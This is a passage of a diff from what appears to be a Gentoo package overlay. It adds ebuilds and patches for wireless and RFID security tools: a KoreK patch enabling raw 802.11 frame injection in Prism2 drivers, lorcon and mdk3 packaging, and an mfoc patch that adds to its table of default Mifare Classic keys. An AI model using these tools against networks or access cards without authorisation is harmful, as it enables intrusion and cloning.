882f5fe8c3e3a2538f59e96d002866aea1ce3ad33396da0cea7721455f4a42be linux-wlan-ng-0.2.5.tar.bz2 457056 diff --git a/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch b/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch new file mode 100644 index 00000000..abd0ef72 --- /dev/null +++ b/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch @@ -0,0 +1,303 @@ +diff -ur linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c +--- linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c 2005-10-31 14:54:59.000000000 -0500 ++++ linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c 2006-03-16 16:33:03.000000000 -0500 +@@ -511,7 +511,7 @@ + * and return success . + * TODO: we need a saner way to handle this + */ +- if(skb->protocol != ETH_P_80211_RAW) { ++ if(skb->protocol != htons(ETH_P_80211_RAW)) { + p80211netdev_start_queue(wlandev); + WLAN_LOG_NOTICE( + "Tx attempt prior to association, frame dropped.\n"); +@@ -523,7 +523,7 @@ + } + + /* Check for raw transmits */ +- if(skb->protocol == ETH_P_80211_RAW) { ++ if(skb->protocol == htons(ETH_P_80211_RAW)) { + if (!capable(CAP_NET_ADMIN)) { + result = 1; + goto failed; +@@ -950,8 +950,9 @@ + dev->set_mac_address = p80211knetdev_set_mac_address; + #endif + #ifdef HAVE_TX_TIMEOUT +- dev->tx_timeout = &p80211knetdev_tx_timeout; +- dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; ++// korek: still not implemented ++// dev->tx_timeout = &p80211knetdev_tx_timeout; ++// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; + #endif + netif_carrier_off(dev); + } +diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c +--- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c 2005-07-20 11:07:16.000000000 -0400 ++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c 2006-03-17 11:03:09.000000000 -0500 +@@ -1871,8 +1871,16 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++// HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3112,12 +3120,34 @@ + #endif + + /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- txdesc.data_len = host2hfa384x_16(skb->len+8); +- // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- } else { +- txdesc.data_len = host2hfa384x_16(skb->len); +- } ++// if (p80211_wep->data) { ++// txdesc.data_len = host2hfa384x_16(skb->len+8); ++// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++// } else { ++// txdesc.data_len = host2hfa384x_16(skb->len); ++// } ++ ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ txdesc.data_len = host2hfa384x_16(skb->len+8); ++ // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ } else { ++ txdesc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(txdesc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (txdesc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } ++ ++ txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); ++ } ++ + + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); + /* copy the header over to the txdesc */ +@@ -3140,7 +3170,9 @@ + spin_lock(&hw->cmdlock); + + /* Copy descriptor+payload to FID */ +- if (p80211_wep->data) { ++ ++// if (p80211_wep->data) { ++ if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { + result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, + &txdesc, sizeof(txdesc), + p80211_wep->iv, sizeof(p80211_wep->iv), +@@ -3586,6 +3618,17 @@ + { + case 0: + ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { ++ hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } ++ + fc = ieee2host16(rxdesc.frame_control); + + /* If exclude and we receive an unencrypted, drop it */ +diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c +--- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c 2005-10-31 14:52:36.000000000 -0500 ++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c 2006-03-18 15:38:19.000000000 -0500 +@@ -1398,8 +1398,16 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++// HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3412,37 +3420,71 @@ + HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | + HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); + #endif +- hw->txbuff.txfrm.desc.tx_control = +- host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); +- +- /* copy the header over to the txdesc */ +- memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); ++// hw->txbuff.txfrm.desc.tx_control = ++// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + +- /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +- // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- usbpktlen+=8; +- } else { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++// /* copy the header over to the txdesc */ ++// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); ++ ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); ++ // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ usbpktlen+=8; ++ } else { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } ++// /* if we're using host WEP, increase size by IV+ICV */ ++// if (p80211_wep->data) { ++// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); ++// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++// usbpktlen+=8; ++// } else { ++// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); + } + + usbpktlen += skb->len; + + /* copy over the WEP IV if we are using host WEP */ + ptr = hw->txbuff.txfrm.data; +- if (p80211_wep->data) { ++// if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); + ptr+= sizeof(p80211_wep->iv); + memcpy(ptr, p80211_wep->data, skb->len); + } else { + memcpy(ptr, skb->data, skb->len); + } ++ + /* copy over the packet data */ + ptr+= skb->len; + + /* copy over the WEP ICV if we are using host WEP */ +- if (p80211_wep->data) { ++// if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); + } + +@@ -4203,6 +4245,17 @@ + switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) + { + case 0: ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { ++ hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } ++ + fc = ieee2host16(usbin->rxfrm.desc.frame_control); + + /* If exclude and we receive an unencrypted, drop it */ +diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c +--- linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c 2005-06-22 10:16:55.000000000 -0400 ++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c 2006-03-18 15:21:03.000000000 -0500 +@@ -2860,9 +2860,12 @@ + } + + /* Now if we're already sniffing, we can skip the rest */ +- if (wlandev->netdev->type != ARPHRD_ETHER) { ++// if (wlandev->netdev->type != ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + /* Set the port type to pIbss */ +- word = HFA384x_PORTTYPE_PSUEDOIBSS; ++// word = HFA384x_PORTTYPE_PSUEDOIBSS; ++ word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; + result = hfa384x_drvr_setconfig16(hw, + HFA384x_RID_CNFPORTTYPE, word); + if ( result ) { +@@ -2874,6 +2877,8 @@ + } + if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { + /* Set the wepflags for no decryption */ ++ /* doesn't work - done from the CLI */ ++ /* Fix? KoreK */ + word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | + HFA384x_WEPFLAGS_DISABLE_RXCRYPT; + result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); +@@ -2919,7 +2924,9 @@ + goto failed; + } + +- if (wlandev->netdev->type == ARPHRD_ETHER) { ++// if (wlandev->netdev->type == ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + WLAN_LOG_INFO("monitor mode enabled\n"); + } + +diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c +--- linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c 2005-10-07 17:32:44.000000000 -0400 ++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c 2006-03-18 15:15:00.000000000 -0500 +@@ -410,7 +410,9 @@ + DBFENTER; + + /* If necessary, set the 802.11 WEP bit */ +- if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { ++// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { ++ if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) ++ && (skb->protocol != htons(ETH_P_80211_RAW))) { + p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); + } + diff --git a/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild b/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild new file mode 100644 index 00000000..3193b846 --- /dev/null +++ b/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild @@ -0,0 +1,90 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/linux-wlan-ng-modules/linux-wlan-ng-modules-0.2.5.ebuild,v 1.1 2006/10/08 19:09:23 betelgeuse Exp $ + +EAPI="2" + +inherit eutils linux-mod + +MY_PN=${PN/-modules/} +MY_P=${MY_PN}-${PV} + +DESCRIPTION="Kernel modules for Prism2/2.5/3 based 802.11b USB wireless LAN products" +HOMEPAGE="http://linux-wlan.org" +SRC_URI="ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/${MY_P}.tar.bz2" + +LICENSE="|| ( GPL-2 MPL-1.1 )" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" + +IUSE="debug" + +BUILD_TARGETS="default" +BUILD_PARAMS="WLAN_SRC=${S}/src" + +DEPEND="!> ${config} + else + echo "${1}=n" >> ${config} + fi +} + +src_prepare() { + local config="${S}"/default.config + + epatch "${FILESDIR}"/linux-wlan-0.2.3.packet.injection.patch + cp config.in ${config} + + echo "TARGET_ROOT_ON_HOST=${D}" >> ${config} + echo "LINUX_SRC=${KERNEL_DIR}" >> ${config} + echo "FIRMWARE_DIR=/lib/firmware/" >> ${config} + echo "PRISM2_PCI=n" >> ${config} + echo "PRISM2_PLX=n" >> ${config} + echo "PRISM2_PCMCIA=n" >> ${config} + echo "PRISM2_USB=y" >> ${config} + + config_by_usevar WLAN_DEBUG debug + + sed -i -e "s:dep modules:modules:" "${S}"/src/p80211/Makefile +} + +src_compile() { + set_arch_to_kernel + emake default_config || die "emake default_config failed" + set_arch_to_portage + + cd "${S}"/src/mkmeta + emake || die "emake mkmeta failed" + + linux-mod_src_compile +} + +pkg_postinst() { + linux-mod_pkg_postinst + + einfo "Support for pci, plx and pcmcia drivers has been removed in" + einfo "revision. For pci, plx and pcmcia drivers try for example" + einfo "the hostap-driver or orinoco drivers. They both work with the" + einfo "standard wireless tools." + einfo "" + einfo "If they do not work, please report this to betelgeuse@gentoo.org." +} diff --git a/net-wireless/lorcon-old/Manifest b/net-wireless/lorcon-old/Manifest new file mode 100644 index 00000000..ed53f9c5 --- /dev/null +++ b/net-wireless/lorcon-old/Manifest @@ -0,0 +1 @@ +EBUILD lorcon-old-9999.ebuild 640 RMD160 5e77ecbe4a9b3e5dfbbc83e61d657385829cb3fc SHA1 04d6155143ad90ce059a7f292e1cbe5e0a7914f8 SHA256 21263b645c14b57b5b9550938e3d24e198ea1d9b309df361a11c6aba7e19ac30 diff --git a/net-wireless/lorcon-old/lorcon-old-9999.ebuild b/net-wireless/lorcon-old/lorcon-old-9999.ebuild new file mode 100644 index 00000000..e78aea91 --- /dev/null +++ b/net-wireless/lorcon-old/lorcon-old-9999.ebuild @@ -0,0 +1,25 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit toolchain-funcs eutils subversion + +DESCRIPTION="A generic library for injecting 802.11 frames" +HOMEPAGE="http://802.11ninja.net/lorcon" +SRC_URI="" +ESVN_REPO_URI="http://802.11ninja.net/svn/lorcon/branch/lorcon-old" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="$RDEPEND" +RDEPEND="dev-libs/libnl + net-libs/libpcap" + +src_install() { + DESTDIR="${D}" emake install + # rename manpage to avoid conflict with lorcon + mv "${D}"/usr/share/man/man3/lorcon.3 "${D}"/usr/share/man/man3/lorcon-old.3 +} diff --git a/net-wireless/lorcon/Manifest b/net-wireless/lorcon/Manifest new file mode 100644 index 00000000..54df9fb1 --- /dev/null +++ b/net-wireless/lorcon/Manifest @@ -0,0 +1 @@ +EBUILD lorcon-9999.ebuild 2010 SHA256 1824bd6e24b3cce2be41fd74f7bcbe2f502d8867926686ceab135f0319a96772 SHA512 6d7cb9a0eb91d5e7c09ba45a536b5131c37c2d635d8c7be470a755166ff8215672aaf4000bd3967855679dcb2e1e35999405f2fc452c4db29e177d140dce4d06 WHIRLPOOL 28f62b1b61725282168334339109b0ad330f8c8e6f6571b691eab9eb88be4b960e59e00a9cb8e2a3b194da9247fd881ea01817f3a4689c0a3fbf6adf546234d4 diff --git a/net-wireless/lorcon/lorcon-9999.ebuild b/net-wireless/lorcon/lorcon-9999.ebuild new file mode 100644 index 00000000..49a5eb9f --- /dev/null +++ b/net-wireless/lorcon/lorcon-9999.ebuild @@ -0,0 +1,95 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +PYTHON_DEPEND="python? 2" +SUPPORT_PYTHON_ABIS="1" +RESTRICT_PYTHON_ABIS="3.*" + +USE_RUBY="ruby18 ruby19" +RUBY_OPTIONAL=yes + +inherit git-2 distutils ruby-ng + +DESCRIPTION="A generic library for injecting 802.11 frames" +HOMEPAGE="http://802.11ninja.net/lorcon" +EGIT_REPO_URI="https://code.google.com/p/lorcon/" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" +IUSE="python ruby" + +DEPEND="ruby? ( $(ruby_implementations_depend) )" +RDEPEND="${DEPEND} + dev-libs/libnl" + +S="${WORKDIR}"/all + +pkg_setup() { + if use python; then + python_pkg_setup; + DISTUTILS_SETUP_FILES=("${S}/pylorcon2|setup.py") + fi + use ruby && ruby-ng_pkg_setup +} + +src_unpack() { + git-2_src_unpack + use ruby && ruby-ng_src_unpack +} + +src_prepare() { + use python && distutils_src_prepare + sed -i 's##"../lorcon.h"#' pylorcon2/PyLorcon2.c + sed -i 's#find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") and ##' ruby-lorcon/extconf.rb + sed -i "s#-I/usr/include/lorcon2#-I${WORKDIR}/all#" ruby-lorcon/extconf.rb + sed -i 's##"../lorcon.h"#' ruby-lorcon/Lorcon2.h + use ruby && ruby-ng_src_prepare +} + +src_configure() { + default_src_configure + use ruby && ruby-ng_src_configure +} + +src_compile() { + default_src_compile + if use python; then + LDFLAGS+=" -L${S}/.libs/" + distutils_src_compile + fi + use ruby && ruby-ng_src_compile +} + +src_install() { + emake DESTDIR="${ED}" install + use python && distutils_src_install + use ruby && ruby-ng_src_install +} + +src_test() { + : +} + +pkg_postinst() { + use python && distutils_pkg_postinst +} +pkg_postrm() { + use python && distutils_pkg_postrm +} + +each_ruby_configure() { + ${RUBY} -C "ruby-lorcon" extconf.rb + sed -i "s#-L\.#-L. -L${WORKDIR}/all/.libs -lorcon2 #g" ruby-lorcon/Makefile +} + +each_ruby_compile() { + emake -C ruby-lorcon +} + +each_ruby_install() { + DESTDIR="${ED}" emake -C ruby-lorcon install +} diff --git a/net-wireless/mdk/Manifest b/net-wireless/mdk/Manifest new file mode 100644 index 00000000..f8495f39 --- /dev/null +++ b/net-wireless/mdk/Manifest @@ -0,0 +1,3 @@ +AUX fix_wids_mdk3_v5.patch 520 RMD160 cd1e9020b06782fa0c98adf274c7b99ed3cbff5c SHA1 3564b5a6e73bff3e705a461890d61a87dfdbc002 SHA256 c0168ab3b50b18c973c954a831bfd6d8373c3f70570247a15d52da6914fe490d +DIST mdk3-v6.tar.bz2 213279 RMD160 22857e15a86fee1a0419916fcd12d14aeb14ebb1 SHA1 2832d176c02d9c3eb3bcb3b35acfdc94793161dd SHA256 4dac4d0ad54c4dbbf8857f527c573af6495a91d2e503774274b39c3ca8ed11dd +EBUILD mdk-3.6.ebuild 742 RMD160 5a76e89de581d5f9ad364d31b593644d54cf1b32 SHA1 2b3e1fe413cea2b5bfb5c0fc154a44864458b7ad SHA256 e6e900b2f1db64f024befc8411907a317e831448abb42fbd39b29b6a27eea91d diff --git a/net-wireless/mdk/files/fix_wids_mdk3_v5.patch b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch new file mode 100644 index 00000000..6013a59b --- /dev/null +++ b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch @@ -0,0 +1,21 @@ +diff -ur mdk3-v5-orig/mdk3.c mdk3-v5/mdk3.c +--- mdk3-v5-orig/mdk3.c 2008-11-10 21:45:02.000000000 +0100 ++++ mdk3-v5/mdk3.c 2009-01-10 01:47:03.546875000 +0100 +@@ -1092,10 +1092,13 @@ + { + struct clistwidsclient *first = c; + +- do { +- if (!(memcmp(c->mac, mac, mac_len))) return c; +- c = c->next; +- } while (c != first); ++ if (c != NULL) ++ { ++ do { ++ if (c->mac != NULL && !(memcmp(c->mac, mac, mac_len))) return c; ++ c = c->next; ++ } while (c != NULL && c != first); ++ } + + return NULL; + } diff --git a/net-wireless/mdk/mdk-3.6.ebuild b/net-wireless/mdk/mdk-3.6.ebuild new file mode 100644 index 00000000..7b578cfe --- /dev/null +++ b/net-wireless/mdk/mdk-3.6.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils + +MY_P=${PN}${PV/./-v} + +DESCRIPTION="Bruteforce hidden SSID" +HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/" +SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="" + +S=${WORKDIR}/${MY_P} + +src_prepare() { + epatch "${FILESDIR}"/fix_wids_mdk3_v5.patch + sed -ie "s|CFLAGS.*=.*|CFLAGS = $CFLAGS|" Makefile || die +} + +src_compile() { + make -j1 || die "make failed" +} + +src_install() { + dosbin mdk3 || die "dobin failed" + dodoc AUTHORS CHANGELOG TODO docs/* useful_files/* || die "dodoc failed" +} diff --git a/net-wireless/mfoc/Manifest b/net-wireless/mfoc/Manifest new file mode 100644 index 00000000..8b38b00f --- /dev/null +++ b/net-wireless/mfoc/Manifest @@ -0,0 +1,3 @@ +AUX mfoc-libnfc-1.5.1.patch 8908 RMD160 8d94b6c35fc786263afa6edff01adec42a7a094e SHA1 a85959cfe99fc5c82ec0f3ec2b4d091f444cb430 SHA256 dd6334ffa5939f11260d6bc7f5b4960162260348812ff4cc65478e51302be436 +DIST mfoc-0.10.2.tar.gz 112864 RMD160 a74ccdc22f4ead364872bac0beee0564c53f2be2 SHA1 cce1662300eeab303d375f746dd52e515e2f0e99 SHA256 fc38b990bf37b6416949d0a7c6481bdd8a67698cbb4dcae00c0576fd10845cb0 +EBUILD mfoc-0.10.2.ebuild 550 RMD160 8261f1420540deb08b1fa471bd785cda0d8d4dd8 SHA1 2a4d69343b95a759d5b683a43c48029088204e67 SHA256 81af43a5574b1c0cceba3d2b7dc8cf7af59ffb396c1f51d8723c12b56bf22fe9 diff --git a/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch new file mode 100644 index 00000000..c19a554a --- /dev/null +++ b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch @@ -0,0 +1,217 @@ +diff -Nru mfoc-0.10.2/src//mfoc.c mfoc/src//mfoc.c +--- mfoc-0.10.2/src//mfoc.c 2011-05-18 11:18:29.000000000 +0200 ++++ mfoc/src//mfoc.c 2012-02-11 02:02:27.028185737 +0100 +@@ -70,11 +70,11 @@ + bool skip = false; + + // Next default key specified as option (-k) +- byte_t * defKey = NULL; ++ byte_t * defKeys = NULL, *p; ++ size_t defKeys_len = 0; + + // Array with default Mifare Classic keys + byte_t defaultKeys[][6] = { +- {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot + {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) + {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key + {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key +@@ -128,16 +128,17 @@ + // fprintf(stdout, "Tolerance number: %d\n", probes); + break; + case 'k': +- // Add this key to the default keys list +- if ((defKey = calloc(6, sizeof(byte_t))) == NULL) { +- ERR ("Cannot allocate memory for defKey"); ++ // Add this key to the default keys ++ p = realloc(defKeys, defKeys_len + 6); ++ if (!p) { ++ ERR ("Cannot allocate memory for defKeys"); + exit (EXIT_FAILURE); +- } else { +- bzero(defKey, 6); +- num_to_bytes(strtoll(optarg, NULL, 16), 6, defKey); +- memcpy(defaultKeys[0], defKey, 6); + } +- fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6)); ++ defKeys = p; ++ memset(defKeys+defKeys_len, 0, 6); ++ num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len); ++ fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6)); ++ defKeys_len = defKeys_len + 6; + + break; + case 'O': +@@ -252,9 +253,16 @@ + memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid)); + // Iterate over all keys (n = number of keys) + n = sizeof(defaultKeys)/sizeof(defaultKeys[0]); +- for (key = 0; key < n; key++) { +- if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key +- memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); ++ size_t defKey_bytes_todo = defKeys_len; ++ key = 0; ++ while (key < n) { ++ if (defKey_bytes_todo > 0) { ++ memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); ++ defKey_bytes_todo -= sizeof(mp.mpa.abtKey); ++ } else { ++ memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); ++ key++; ++ } + fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); + fprintf(stdout, "["); + i = 0; // Sector counter +@@ -511,22 +519,24 @@ + } + + void usage(FILE * stream, int errno) { +- fprintf(stream, "mfoc %s\n\n", PACKAGE_VERSION); +- fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n"); +- fprintf(stream, "example: mfoc -O card_dump\n"); +- fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n"); +- fprintf(stream, "example: mfoc -P 50 -O card_dump\n"); +- fprintf(stream, "\n"); +- fprintf(stream, " h : print this help\n"); +-// fprintf(stream, " B : instead of 'A' dump 'B' keys\n"); +- fprintf(stream, " k : use a specified key instead of looking for defaults ones\n"); +-// fprintf(stream, " D : number of distance probes, default is 20\n"); +-// fprintf(stream, " S : number of sets with keystreams, default is 5\n"); +- fprintf(stream, " P : number of probes for a key recovery for one sector, default is 20\n"); +- fprintf(stream, " T : range for a possible distance tolerance, default is 20 (40 in both direction)\n"); +-// fprintf(stream, " s : specify the list of sectors to crack, for example -s 0,1,3,5\n"); +- fprintf(stream, " O : dump file where the revealed keys should be stored\n"); ++ fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n"); ++ fprintf(stream, "\n"); ++ fprintf(stream, " h print this help and exit\n"); ++// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); ++ fprintf(stream, " k try the specified key in addition to the default 